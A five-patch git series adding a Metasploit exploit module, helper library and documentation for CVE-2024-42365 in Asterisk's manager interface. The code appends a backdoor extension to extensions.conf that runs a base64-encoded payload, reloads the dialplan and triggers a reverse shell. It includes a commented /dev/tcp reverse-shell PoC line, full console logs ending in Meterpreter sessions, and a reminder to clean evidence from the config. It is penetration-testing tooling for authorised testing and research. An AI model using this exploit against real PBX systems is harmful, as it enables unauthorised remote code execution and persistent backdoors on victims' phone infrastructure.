From 9cba5dad5964812626a0d13c9f89ab98bb366acb Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 1 Nov 2024 16:28:45 -0400 Subject: [PATCH 1/5] WIP for asterisk rce --- .../misc/asterisk_ami_originate_auth_rce.md | 86 ++++++++ lib/msf/core/exploit/remote/asterisk.rb | 121 ++++++++++ .../misc/asterisk_ami_originate_auth_rce.rb | 206 ++++++++++++++++++ 3 files changed, 413 insertions(+) create mode 100644 documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md create mode 100644 lib/msf/core/exploit/remote/asterisk.rb create mode 100644 modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md new file mode 100644 index 000000000000..381a51c09cc3 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -0,0 +1,86 @@ +## Vulnerable Application + +On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk +versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change +all configuration files in the '/etc/asterisk/' directory. Writing a new extension +can be created which performs a system command to achieve RCE as the asterisk service +user (typically asterisk). + +Default parking lot in FreePBX is called "Default lot" on the website interface, +however its actually 'parkedcalls'. + +Tested against Asterisk 19.8.0 on Freepbx SNG7-PBX16-64bit-2302-1. + +Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. + +### Install + +One easy method is using the FreePBX ISO (while outdated). + +visit :80 +set it up, make sure to not do updates. +login +FreePBX Administration +hamburger > Applications > Parking +click the red "Apply Config" button at the top, this should start the asterisk service + +1. Login (ssh/local) and edit `/etc/asterisk/manager.conf` + 1. Under `[general]`: + 1. Change `bindaddr` value to `0.0.0.0` + 1. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` + 1. Add the following at the bottom of the file: + ``` +[testuser] +secret=testuser +write=originate +permit=0.0.0.0/255.255.255.0 + ``` +2. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) + + + +Default parking lot is called "Default lot" in the website interface, however its actually parkedcalls + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce ` +1. Do: `set rhosts ` +1. Do: `set lhost ` +1. Do: `set username ` +1. Do: `set password ` +1. You should get a shell. + +## Options + +### CONF + +The extensions configuration file location. Defaults to `/etc/asterisk/extensions.conf` + +### PARKINGLOT + +The extensions and name of the parking lot. Defaults to `70@parkedcalls` + +### EXTENSION + +The extension number to backdoor. Defaults to a random number between 3-5 numbers. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +code or console output +``` + +For example: + +To do this specific thing, here's how you do it: + +``` +msf > use module_name +msf auxiliary(module_name) > set POWERLEVEL >9000 +msf auxiliary(module_name) > exploit +``` diff --git a/lib/msf/core/exploit/remote/asterisk.rb b/lib/msf/core/exploit/remote/asterisk.rb new file mode 100644 index 000000000000..4cbaada5b186 --- /dev/null +++ b/lib/msf/core/exploit/remote/asterisk.rb @@ -0,0 +1,121 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::Asterisk + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super + + register_options( + [ + Opt::RPORT(5038), + OptString.new('USERNAME', [true, 'The username for Asterisk Access', '']), + OptString.new('PASSWORD', [true, 'The password for the specified username', '']), + ], self.class + ) + end + + # + # Handler for sending AMI commands + # + # @param cmd [String] command to send + # + # @return [String] response from the server + def send_command(cmd = '') + sock.put cmd + + res = '' + timeout = 15 + Timeout.timeout(timeout) do + res << sock.get_once while res !~ /\r?\n\r?\n/ + end + + res + rescue Timeout::Error + print_error "Timeout (#{timeout} seconds)" + rescue StandardError => e + print_error("Unknown exception") + # unsure why but getting no implicit conversion of nil into String with the following code + # print_error e.message + end + + # + # Attempt to get the asterisk version number + # + # + # @return [Gem::Version] version response from the server. False on error + def get_asterisk_version + vprint_status 'Checking Asterisk version' + + req = "action: command\r\n" + req << "command: core show version\r\n" + req << "\r\n" + res = send_command req + + return false if res =~ /Response: Error/ + + # example output + # Response: Success + # Message: Command output follows + # Output: Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC + + # https://rubular.com/r/e2LvocVBeKaiVo + if res =~ /^Output: Asterisk (.*?) built/ + return ::Regexp.last_match(1) + end + + false + end + + def login(username, password) + vprint_status "Authenticating as '#{username}'" + + req = "action: login\r\n" + req << "username: #{username}\r\n" + req << "secret: #{password}\r\n" + req << "events: off\r\n" + req << "\r\n" + res = send_command req + + return false unless res =~ /Response: Success/ + + report_cred user: username, + password: password, + proof: 'Response: Success' + + report_service host: rhost, + port: rport, + proto: 'tcp', + name: 'asterisk' + true + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'asterisk_manager', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:username], + private_data: opts[:password], + private_type: :password + }.merge service_data + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge service_data + + create_credential_login login_data + end + end +end diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb new file mode 100644 index 000000000000..fd1aaa812c20 --- /dev/null +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + include Msf::Exploit::Remote::Asterisk + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Asterisk AMI Originate Authenticated RCE', + 'Description' => %q{ + On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk + versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change + all configuration files in the '/etc/asterisk/' directory. Writing a new extension + can be created which performs a system command to achieve RCE as the asterisk service + user (typically asterisk). + Default parking lot in FreePBX is called "Default lot" on the website interface, + however its actually 'parkedcalls'. + Tested against Asterisk 19.8.0 on Freepbx SNG7-PBX16-64bit-2302-1. + Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. + }, + 'Author' => [ + 'Brendan Coles ', # lots of AMI command stuff + 'h00die', # msf module + 'NielsGaljaard' # discovery + ], + 'References' => [ + ['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'], + ['CVE', '2024-42365'] + ], + 'Platform' => 'unix', + 'Payload' => { + 'BadChars' => ';' + }, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, + 'Type' => :unix_command + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => '2024-08-08', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE + ) + ) + register_options [ + OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']), + OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']), + OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]), + ] + register_advanced_options [ + OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]), + ] + end + + def conn? + vprint_status 'Connecting...' + + connect + banner = sock.get_once + + unless banner =~ %r{Asterisk Call Manager/([\d.]+)} + fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running' + end + + print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}" + + unless login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with Failure::NoAccess, 'Authentication failed' + end + + print_good 'Authenticated successfully' + true + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error e.message + false + end + + def check + # why don't we check the version numbers? + # we're connecting to Asterisk Call Manager, which seems to be a sub component + # of asterisk and therefore the version numbers don't line up. For instance + # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso) + # uses Asterisk Call Manager version 8.0.2. + success = conn? + return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless success + + version = get_asterisk_version + disconnect + if !version + return CheckCode::Detected('Able to connect, unable to determine version') + elsif version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) || + version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) || + version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) || + version.to_s.include?('cert') && + ( + version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) || + version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2')) + ) + return Exploit::CheckCode::Appears("Exploitable version #{version} found") + end + + return Exploit::CheckCode::Safe("Unexploitable version #{version} found") + end + + def exploit + fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn? + + new_context = rand_text_alpha(8..12) + print_status("Using new context name: #{new_context}") + + print_status('Loading conf file') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: SET\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT") + end + vprint_good(" #{res}") + # since commands are queued, sleeping 1 second is needed for the job to + # execute. This is mentioned in the original writeup: "(you might need to take some time between them)." + Rex.sleep(datastore['TIMEOUT']) + + print_status('Setting backdoor') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: SET\r\n" + # from the PoC + # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(#{payload.encoded})\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, res) + end + vprint_good(" #{res}") + Rex.sleep(datastore['TIMEOUT']) + + print_status('Reloading config') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: Reload\r\n" + req << "Data: pbx_config\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, res) + end + vprint_good(" #{res}") + Rex.sleep(datastore['TIMEOUT']) + + print_status('Triggering shellcode') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n" + req << "application: Verbose\r\n" + req << "Data: hello\r\n" # XXX randomize? + req << "\r\n" + send_command req + + disconnect + end + + def on_new_session(client) + super + print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!") + end + + private + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + +end From 0de93eedb7c75fb4f9641f8d575eea75bfeef5ea Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 4 Nov 2024 16:27:58 -0500 Subject: [PATCH 2/5] asterisk ami auth rce --- .../misc/asterisk_ami_originate_auth_rce.md | 141 ++++++++++++++---- lib/msf/core/exploit/remote/asterisk.rb | 12 +- .../misc/asterisk_ami_originate_auth_rce.rb | 17 ++- 3 files changed, 137 insertions(+), 33 deletions(-) diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md index 381a51c09cc3..8cd657b30a30 100644 --- a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -15,31 +15,29 @@ Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. ### Install -One easy method is using the FreePBX ISO (while outdated). - -visit :80 -set it up, make sure to not do updates. -login -FreePBX Administration -hamburger > Applications > Parking -click the red "Apply Config" button at the top, this should start the asterisk service - -1. Login (ssh/local) and edit `/etc/asterisk/manager.conf` +One easy method, while outdated, is using the FreePBX ISO. + +1. Boot to ISO and install the system. Choose Asterisk 19 +2. Visit the web interface on port 80 +3. Complete initial setup, make sure to not do updates. +4. login +5. Click FreePBX Administration +6. Click the hamburger > Applications > Parking +7. Check the parking extension and name (`70` and `Default lot` are the defaults) +8. Login (ssh/local) and edit `/etc/asterisk/manager.conf` 1. Under `[general]`: 1. Change `bindaddr` value to `0.0.0.0` - 1. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` - 1. Add the following at the bottom of the file: + 2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0` + 3. Add the following at the bottom of the file: ``` [testuser] secret=testuser write=originate permit=0.0.0.0/255.255.255.0 ``` -2. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) - +9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up) - -Default parking lot is called "Default lot" in the website interface, however its actually parkedcalls +Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls` ## Verification Steps @@ -64,23 +62,112 @@ The extensions and name of the parking lot. Defaults to `70@parkedcalls` ### EXTENSION -The extension number to backdoor. Defaults to a random number between 3-5 numbers. +The extension number to backdoor. Defaults to a random number between 3-5 digits. ## Scenarios -Specific demo of using the module that might be useful in a real world scenario. -### Version and OS +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19 ``` -code or console output +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: EfVeZSDeGcn +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43812) at 2024-11-04 09:09:57 -0500 + +meterpreter > shell +Process 5831 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 ``` -For example: - -To do this specific thing, here's how you do it: +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 18 ``` -msf > use module_name -msf auxiliary(module_name) > set POWERLEVEL >9000 -msf auxiliary(module_name) > exploit -``` +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: fSvWOLdAx +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:53468) at 2024-11-04 09:37:35 -0500 + +meterpreter > shell +Process 3977 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/asterisk.rb b/lib/msf/core/exploit/remote/asterisk.rb index 4cbaada5b186..adff4b70dd80 100644 --- a/lib/msf/core/exploit/remote/asterisk.rb +++ b/lib/msf/core/exploit/remote/asterisk.rb @@ -35,10 +35,11 @@ def send_command(cmd = '') res rescue Timeout::Error print_error "Timeout (#{timeout} seconds)" - rescue StandardError => e - print_error("Unknown exception") + rescue StandardError # unsure why but getting no implicit conversion of nil into String with the following code + # this can be tested with successful exploitation of asterisk_ami_originate_auth_rce module # print_error e.message + print_error('Unknown exception') end # @@ -69,6 +70,13 @@ def get_asterisk_version false end + # + # Handler for logging in to AMI + # + # @param username [String] username of the user + # @param password [String] password of the user + # + # @return [Boolean] true on success, false on failure def login(username, password) vprint_status "Authenticating as '#{username}'" diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb index fd1aaa812c20..3d0f3de3bce5 100644 --- a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -21,7 +21,7 @@ def initialize(info = {}) user (typically asterisk). Default parking lot in FreePBX is called "Default lot" on the website interface, however its actually 'parkedcalls'. - Tested against Asterisk 19.8.0 on Freepbx SNG7-PBX16-64bit-2302-1. + Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. }, 'Author' => [ @@ -34,8 +34,18 @@ def initialize(info = {}) ['CVE', '2024-42365'] ], 'Platform' => 'unix', + # leaving this for future travelers. I was still not getting 100% payload compatibility + # so there seems to still be another character or two bad, but b64 fixed it. + # 'Payload' => { + # # ; is a comment in the extensions.conf file + # 'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout + # }, + + # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long) + # `echo "" | base64 -d | sh` == 19 characters + # chatGPT says 908 b64 encoded characters makes 681 pre-encoding. 'Payload' => { - 'BadChars' => ';' + 'Space' => 681 }, 'Targets' => [ [ @@ -43,7 +53,6 @@ def initialize(info = {}) { 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_command } ], @@ -149,7 +158,7 @@ def exploit req << "Application: SET\r\n" # from the PoC # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n" - req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(#{payload.encoded})\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n" req << "\r\n" res = send_command req res = res.strip.gsub("\r\n", ', ') From 594c3a82ead94180584ce3a5a3441ffbb03a6419 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 11 Nov 2024 17:32:49 -0500 Subject: [PATCH 3/5] peer review --- .../misc/asterisk_ami_originate_auth_rce.rb | 29 ++++++++++--------- 1 file changed, 15 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb index 3d0f3de3bce5..647ae7ad8d17 100644 --- a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -85,13 +85,15 @@ def conn? banner = sock.get_once unless banner =~ %r{Asterisk Call Manager/([\d.]+)} - fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running' + print_bad('Asterisk Call Manager does not appear to be running') + return false end print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}" unless login(datastore['USERNAME'], datastore['PASSWORD']) - fail_with Failure::NoAccess, 'Authentication failed' + print_bad('Authentication failed') + return false end print_good 'Authenticated successfully' @@ -107,21 +109,20 @@ def check # of asterisk and therefore the version numbers don't line up. For instance # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso) # uses Asterisk Call Manager version 8.0.2. - success = conn? - return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless success + return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn? version = get_asterisk_version disconnect - if !version - return CheckCode::Detected('Able to connect, unable to determine version') - elsif version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) || - version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) || - version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) || - version.to_s.include?('cert') && - ( - version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) || - version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2')) - ) + + return CheckCode::Detected('Able to connect, unable to determine version') if !version + if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) || + version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) || + version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) || + version.to_s.include?('cert') && + ( + version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) || + version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2')) + ) return Exploit::CheckCode::Appears("Exploitable version #{version} found") end From 4ebc6f1ff1a050aa825312e9753116161d050987 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 11 Nov 2024 17:37:33 -0500 Subject: [PATCH 4/5] peer review --- .../exploit/linux/misc/asterisk_ami_originate_auth_rce.md | 4 +--- .../exploits/linux/misc/asterisk_ami_originate_auth_rce.rb | 3 +-- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md index 8cd657b30a30..4e5b959fa403 100644 --- a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -9,9 +9,7 @@ user (typically asterisk). Default parking lot in FreePBX is called "Default lot" on the website interface, however its actually 'parkedcalls'. -Tested against Asterisk 19.8.0 on Freepbx SNG7-PBX16-64bit-2302-1. - -Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. +Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. ### Install diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb index 647ae7ad8d17..82a1d9a9006a 100644 --- a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -22,7 +22,6 @@ def initialize(info = {}) Default parking lot in FreePBX is called "Default lot" on the website interface, however its actually 'parkedcalls'. Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. - Asterisk 18.6.0 on Freepbx SNG7-PBX16-64bit-2302-1 was NOT exploitable. }, 'Author' => [ 'Brendan Coles ', # lots of AMI command stuff @@ -191,7 +190,7 @@ def exploit req = "Action: Originate\r\n" req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n" req << "application: Verbose\r\n" - req << "Data: hello\r\n" # XXX randomize? + req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n" req << "\r\n" send_command req From d13bccca05b5ca8bd9aff86b9f62b331d8bc1bb1 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 28 Nov 2024 20:24:25 -0500 Subject: [PATCH 5/5] peer review --- .../linux/misc/asterisk_ami_originate_auth_rce.md | 2 +- lib/msf/core/exploit/remote/asterisk.rb | 7 ++----- .../linux/misc/asterisk_ami_originate_auth_rce.rb | 11 ----------- 3 files changed, 3 insertions(+), 17 deletions(-) diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md index 4e5b959fa403..5607a45a3d56 100644 --- a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -41,7 +41,7 @@ Default parking lot is called "Default lot" in the website interface, however it 1. Install the application 1. Start msfconsole -1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce ` +1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce` 1. Do: `set rhosts ` 1. Do: `set lhost ` 1. Do: `set username ` diff --git a/lib/msf/core/exploit/remote/asterisk.rb b/lib/msf/core/exploit/remote/asterisk.rb index adff4b70dd80..367f86bf09e3 100644 --- a/lib/msf/core/exploit/remote/asterisk.rb +++ b/lib/msf/core/exploit/remote/asterisk.rb @@ -35,11 +35,8 @@ def send_command(cmd = '') res rescue Timeout::Error print_error "Timeout (#{timeout} seconds)" - rescue StandardError - # unsure why but getting no implicit conversion of nil into String with the following code - # this can be tested with successful exploitation of asterisk_ami_originate_auth_rce module - # print_error e.message - print_error('Unknown exception') + rescue StandardError => e + print_error e.message end # diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb index 82a1d9a9006a..29f4a13ef37c 100644 --- a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -201,15 +201,4 @@ def on_new_session(client) super print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!") end - - private - - def username - datastore['USERNAME'] - end - - def password - datastore['PASSWORD'] - end - end